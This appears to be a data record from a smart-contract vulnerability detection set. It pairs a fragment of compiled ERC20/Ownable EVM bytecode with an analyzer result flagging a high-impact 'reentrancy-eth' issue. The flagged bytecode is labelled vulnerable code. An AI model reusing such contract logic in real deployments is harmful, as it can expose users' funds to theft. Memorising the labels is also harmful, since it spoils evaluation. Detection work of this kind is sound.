6001600160a01b03811681146107fb57600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e481611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e482611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e481611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204eb3ab79e30b55a3a002450a55a7fe68d27d0a88600e6f250938a9edfd0dfc3f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,399